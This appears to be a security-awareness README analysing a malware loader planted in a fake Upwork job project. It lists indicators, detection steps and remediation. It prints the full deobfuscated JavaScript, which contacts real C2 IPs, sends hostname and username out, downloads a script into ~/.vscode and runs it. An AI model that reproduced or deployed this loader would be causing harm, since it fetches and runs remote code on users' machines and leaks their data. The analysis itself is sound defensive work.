DO NOT RUN THIS PROJECT OR ANY CODE FROM UNTRUSTED SOURCES
This repository contains a deobfuscated malware script that was received as part of a fraudulent Upwork job offer. The script is designed to download and execute malicious code from remote servers. This documentation is provided for educational and security awareness purposes only.
This project was received as part of a job offer on Upwork from a client using the fake name "Gordon Bell". The client presented this as a legitimate development project, but analysis reveals it contains malicious code designed to compromise systems.
The script is a sophisticated malware installer that:
- Downloads and executes remote code from malicious servers
- Attempts to hide itself in the user's home directory (
.vscodefolder) - Contacts command-and-control (C2) servers to receive instructions
- Automatically installs dependencies and runs malicious payloads
malware.mp4
// deobfuscated_installer.js
// Cleaned and annotated version of the supplied obfuscated script.
// WARNING: this script downloads and executes remote code. Treat as untrusted.
const os = require('os');
const fs = require('fs');
const request = require('request');
const path = require('path');
const child_process = require('child_process');
const exec = child_process.exec;
// environment info
const HOME_DIR = os.homedir();
const HOSTNAME = os.hostname();
const PLATFORM = os.platform();
const USER_INFO = os.userInfo();
// internal runtime state populated from the remote controller
let timestampStr; // will be Date.now().toString() later
let baseUrlPrefix = ''; // "http://<ip>:1244" - set by the remote controller
let controllerValue = ''; // additional value returned by the controller (used in path)
let hiddenId; // "hid" field sent to controller (constructed from hostname, maybe username)
// constants (decoded from obfuscation)
const VSCODE_FOLDER = '.vscode';
const J_SUBDIR = '/j/';
const TEST_FILENAME = 'test.js';
const PACKAGE_JSON = 'package.json';
const NODE_MODULES_DIR = 'node_modules';
const CD_CMD = 'cd';
const NPM_INSTALL_SUFFIX = '&& npm i --silent';
const NODE_CMD = 'node';
const NPM_PREFIX_CMD = 'npm --prefix';
const INSTALL_SUBCMD = 'install';
const P_DIR = '/p';
const KEYS_PATH = '/keys';
// helper: download & write remote files, create directories, run npm install and run node test.js
async function downloadAndInstall() {
// target folder: $HOME/.vscode
const targetDir = path.join(HOME_DIR, VSCODE_FOLDER);
// ensure the directory exists (recursive)
try {
fs.mkdirSync(targetDir, { recursive: true });
} catch (err) {
// ignore errors, use HOME_DIR as fallback
}
// remote file URL assembled as baseUrlPrefix + "/j/" + controllerValue
const remoteScriptUrl = baseUrlPrefix + J_SUBDIR + controllerValue;
// local file path for the downloaded script
const localScriptPath = path.join(targetDir, TEST_FILENAME);
// attempt to remove previous test.js if present
try {
fs.rmSync(localScriptPath);
} catch (err) {
// ignore remove errors
}
// fetch the remote script and save it
request.get(remoteScriptUrl, (err, resp, body) => {
if (!err) {
try {
fs.writeFileSync(localScriptPath, body);
} catch (writeErr) { /* ignore write errors */ }
// after saving test.js, try to fetch or update package.json and then continue
fetchAndMaybeUpdatePackage(targetDir);
}
});
}
function fetchAndMaybeUpdatePackage(targetDir) {
// fetch package.json candidate from baseUrlPrefix + "/p"
const packageJsonUrl = baseUrlPrefix + P_DIR;
// path where local package.json should be
const localPackagePath = path.join(targetDir, PACKAGE_JSON);
// determine current package.json size if present
let currentSize = 0;
try {
if (fs.existsSync(localPackagePath)) {
const st = fs.statSync(localPackagePath);
currentSize = st.size || 0;
}
} catch (err) {
currentSize = 0;
}
// perform GET. If returned body is larger than currentSize, overwrite package.json
request.get(packageJsonUrl, (err, resp, body) => {
if (!err) {
try {
if (body && body.length > currentSize) {
fs.writeFileSync(localPackagePath, body);
}
} catch (e) { /* ignore */ }
// after package.json handling, run installation routine
runInstallAndExecute(targetDir);
}
});
}
function runInstallAndExecute(targetDir) {
// Build "cd \"<targetDir>\" && npm i --silent"
const cmd = `${CD_CMD} "${targetDir}" ${NPM_INSTALL_SUFFIX}`;
// ensure node_modules join call (not used directly here)
// attempt to run npm install using exec, then ensure execution via node
try {
exec(cmd, (err, stdout, stderr) => {
// after npm install, call function that ensures node runs the script
ensureNodeExec(targetDir);
});
} catch (e) {
// ignore
}
}
function ensureNodeExec(targetDir) {
// Build "npm --prefix "<targetDir>" install"
const npmPrefixCmd = `${NPM_PREFIX_CMD} "${targetDir}" ${INSTALL_SUBCMD}`;
const nodeModulesPath = path.join(targetDir, NODE_MODULES_DIR);
const localScriptPath = path.join(targetDir, TEST_FILENAME);
try {
// If node_modules already exists, directly run node test.js; otherwise run npm --prefix ... install then run node
if (fs.existsSync(nodeModulesPath)) {
runNodeScript(localScriptPath);
} else {
exec(npmPrefixCmd, (err) => {
// after install attempt, run node
runNodeScript(localScriptPath);
});
}
} catch (e) {
// ignore
}
}
function runNodeScript(scriptPath) {
// run `node <scriptPath>` with windowsHide:true in original; here we spawn via exec
try {
exec(`${NODE_CMD} ${scriptPath}`, { windowsHide: true }, (err, stdout, stderr) => {
// no-op callback
});
} catch (e) {
// ignore
}
}
// utility: send a POST to controller with metadata
async function sendMetadata(ssValue, ccValue) {
// form data object
const formData = {
ts: timestampStr,
type: controllerValue,
hid: hiddenId,
ss: ssValue,
cc: ccValue
};
const options = {
url: baseUrlPrefix + KEYS_PATH,
formData: formData
};
try {
request.post(options, (err, resp, body) => {
// ignore response
});
} catch (e) { /* ignore */ }
}
// build controller base URL (two candidate IPs are tried)
const buildControllerBase = (choice) => {
// choice 0 => 45.43.11.248 ; choice 1 => 45.43.11.200 (constructed via obfuscated base64 pieces)
const ip = (choice === 0) ? '45.43.11.248' : '45.43.11.200';
return 'http://' + ip + ':1244';
};
// initial handshake: contact the controller and parse response
const contactController = async (attempt) => {
// construct initial controller host from choice (0 first, fallback 1)
const controllerRoot = buildControllerBase(attempt);
// call controllerRoot + "/s/c23977fd2a31"
const url = controllerRoot + '/s/' + 'c23977fd2a31';
request.get(url, (err, resp, body) => {
if (err) {
// if fail and first attempt, try the fallback IP
if (attempt < 1) contactController(1);
return;
}
// body should start with "ZT3" if valid; the script checks that and then decodes remainder (base64)
if (typeof body === 'string' && body.indexOf('ZT3') === 0) {
try {
// take substring after 3 chars, base64 decode to "ip,controllerValue"
const payloadB64 = body.slice(3);
const decoded = Buffer.from(payloadB64, 'base64').toString('utf8');
const parts = decoded.split(',');
// set base url and controllerValue respectively
baseUrlPrefix = 'http://' + parts[0] + ':1244';
controllerValue = parts[1];
} catch (e) {
// parse error -> ignore
return;
}
// once we have controller info, send identifying metadata and start file fetch/install
reportHostAndStart();
}
});
};
function reportHostAndStart() {
// aO() in original: prepare hidden id, attach arg[1] if available and then call aP
hiddenId = HOSTNAME; // start from hostname
// If platform starts with 'd' (likely 'darwin' for macOS), append "+<username>"
if (PLATFORM && PLATFORM[0] === 'd') {
hiddenId = hiddenId + '+' + USER_INFO.username;
}
// ss code (short string) - original built "5A1" + possible argv[1]
let ssVal = '5A1';
try {
// require('node:process').argv[1] appended if present
const proc = require('node:process');
if (proc && proc.argv && proc.argv[1]) {
ssVal += proc.argv[1];
}
} catch (e) { /* ignore */ }
// send metadata (ts, type, hid, ss, cc)
sendMetadata('oqr', ssVal);
// start download+install pipeline
downloadAndInstall();
}
// main starter: sets timestamp and performs handshake
const startHandshake = async () => {
try {
timestampStr = Date.now().toString();
await contactController(0);
} catch (e) {
// ignore
}
};
// run start handshake immediately, and repeat up to 3 times every ~1,000,000 ms (orig used interval 0x96640 ≈ 615,360ms??)
// original interval value: 0x96640 decimal = 615,360ms (≈ 10.256 minutes).
startHandshake();
let attemptCounter = 0;
const timer = setInterval(() => {
attemptCounter += 1;
if (attemptCounter < 3) {
startHandshake();
} else {
clearInterval(timer);
}
}, 0x96640);The malware attempts to contact two IP addresses:
- 45.43.11.248 (Primary)
- 45.43.11.200 (Fallback)
Both IP addresses are hosted by Tier.Net Technologies LLC and are located in:
- Location: Ashburn, Virginia, United States
- ISP: Tier.Net Technologies LLC
- Usage Type: Data Center/Web Hosting/Transit
- ASN: AS397423
According to IP2Location data:
- The IPs are classified as Data Center/Web Hosting/Transit infrastructure
- Proxy detection shows "Anonymous Proxy: No" but with a Fraud Score of 3
- These are legitimate hosting infrastructure IPs being used for malicious purposes
The malware communicates on port 1244 using HTTP (not HTTPS), making it easier to detect and block. It performs the following network operations:
- Initial Handshake: Contacts
/s/c23977fd2a31endpoint - Payload Download: Downloads malicious scripts from
/j/endpoint - Package Fetch: Retrieves
package.jsonfrom/pendpoint - Data Exfiltration: Sends system metadata to
/keysendpoint
- Initial Contact: The script attempts to contact one of the C2 servers
- Handshake: Receives configuration data (IP address and controller value)
- System Identification: Collects and sends system information:
- Hostname
- Username (on macOS/Darwin systems)
- Process arguments
- Timestamp
- Payload Download: Downloads
test.jsfrom the remote server - Dependency Installation: Fetches and installs
package.jsondependencies - Execution: Automatically runs the downloaded malicious script
- Persistence: Repeats the handshake process up to 3 times at ~10-minute intervals
The malware installs itself in:
$HOME/.vscode/
This location is chosen because:
- It's a common directory that developers expect to see
- It may be less suspicious than other system directories
- It can blend in with legitimate VS Code configuration files
The malware exfiltrates the following information:
- Timestamp: Current system time
- Hostname: Computer name
- Username: User account name (on macOS)
- Process Arguments: Command-line arguments passed to the script
- Hidden ID: Constructed identifier based on hostname and username
The original script was heavily obfuscated. The deobfuscated version reveals the following key functions:
contactController(): Establishes connection with C2 serverdownloadAndInstall(): Downloads malicious payloadsfetchAndMaybeUpdatePackage(): Retrieves and updates package.jsonrunInstallAndExecute(): Installs dependencies and executes payloadsendMetadata(): Exfiltrates system informationreportHostAndStart(): Prepares system identifier and initiates infection
The original script used:
- Base64 encoding for IP addresses and configuration
- String concatenation to hide URLs
- Magic numbers and constants
- Indirect function calls
- Minimal variable names
- IP Addresses: 45.43.11.248, 45.43.11.200
- Port: 1244
- Protocol: HTTP
- Endpoints:
/s/c23977fd2a31(handshake)/j/{controllerValue}(payload download)/p(package.json)/keys(data exfiltration)
- Directory:
$HOME/.vscode/ - Files Created:
test.js(malicious payload)package.json(dependency manifest)node_modules/(installed packages)
- Network connections to suspicious IPs on port 1244
- Creation of files in
.vscodedirectory outside of VS Code - Automatic npm install operations
- Execution of downloaded JavaScript files
-
Verify Job Offers:
- Research client profiles and reviews
- Be suspicious of high-paying jobs with vague requirements
- Verify client identity through multiple channels
-
Code Review:
- Always review code before execution
- Look for obfuscation, minification, or suspicious patterns
- Check for network requests to unknown domains/IPs
- Verify all dependencies in package.json
-
Security Best Practices:
- Run untrusted code in isolated environments (VMs, containers)
- Use network monitoring tools
- Implement firewall rules to block suspicious outbound connections
- Regularly audit files in home directory
-
Detection:
- Monitor for unexpected network connections
- Check for files created in
.vscodedirectory - Review npm install logs for suspicious packages
- Use antivirus/anti-malware solutions
-
Network Security:
- Block outbound connections to known malicious IPs
- Monitor for connections to port 1244
- Implement DNS filtering and web proxies
-
Endpoint Protection:
- Deploy EDR (Endpoint Detection and Response) solutions
- Enable file system monitoring
- Implement application whitelisting
-
Developer Education:
- Train developers on recognizing social engineering
- Establish code review processes
- Create isolated development environments
If you suspect you've been infected:
-
Immediate Actions:
- Disconnect from the network
- Do not delete files yet (preserve for analysis)
- Document all observed behaviors
-
Investigation:
- Check
$HOME/.vscode/directory for suspicious files - Review network logs for connections to 45.43.11.248 or 45.43.11.200
- Examine process list for suspicious Node.js processes
- Check npm logs and package.json files
- Check
-
Remediation:
- Remove malicious files from
.vscodedirectory - Review and remove suspicious npm packages
- Change all passwords and credentials
- Rotate API keys and tokens
- Consider full system reimage if compromise is confirmed
- Remove malicious files from
-
Reporting:
- Report to your organization's security team
- File a report with relevant cybersecurity authorities
- Notify Upwork about the fraudulent client
This repository is maintained for:
- Security research and education
- Threat intelligence sharing
- Raising awareness about social engineering attacks
The malicious code is documented to help:
- Security professionals understand the threat
- Developers recognize similar attacks
- Organizations improve their defenses
This code should NEVER be used for malicious purposes.
The fraudulent client "Gordon Bell" used social engineering tactics to distribute this malware:
- Presented as a legitimate development opportunity
- Used a fake identity to appear trustworthy
- Exploited the trust relationship inherent in freelance platforms
This incident highlights the importance of:
- Verifying client identities
- Reviewing all code before execution
- Maintaining healthy skepticism even on trusted platforms
- Reporting suspicious activity to platform administrators
The attached IP lookup data shows:
- Both IPs are legitimate hosting infrastructure
- Located in US data centers (Ashburn, Virginia)
- Associated with Tier.Net Technologies LLC
- Used for Data Center/Web Hosting/Transit services
This demonstrates that attackers often use legitimate infrastructure to:
- Avoid immediate blacklisting
- Blend in with normal traffic
- Maintain persistence even if one IP is blocked
This malware represents a sophisticated social engineering attack targeting developers through freelance platforms. By understanding how it works, we can:
- Protect ourselves from similar attacks
- Educate others about the risks
- Improve security practices in the development community
- Share threat intelligence to help others defend against this threat
Remember: Always verify, review, and isolate untrusted code before execution.
- IP2Location Database (DB26) - Geolocation data
- IP2Proxy Database (PX12) - Proxy detection data
- Upwork Platform - Freelance marketplace where this attack originated
Last Updated: December 2024
Threat Level: HIGH
Status: ACTIVE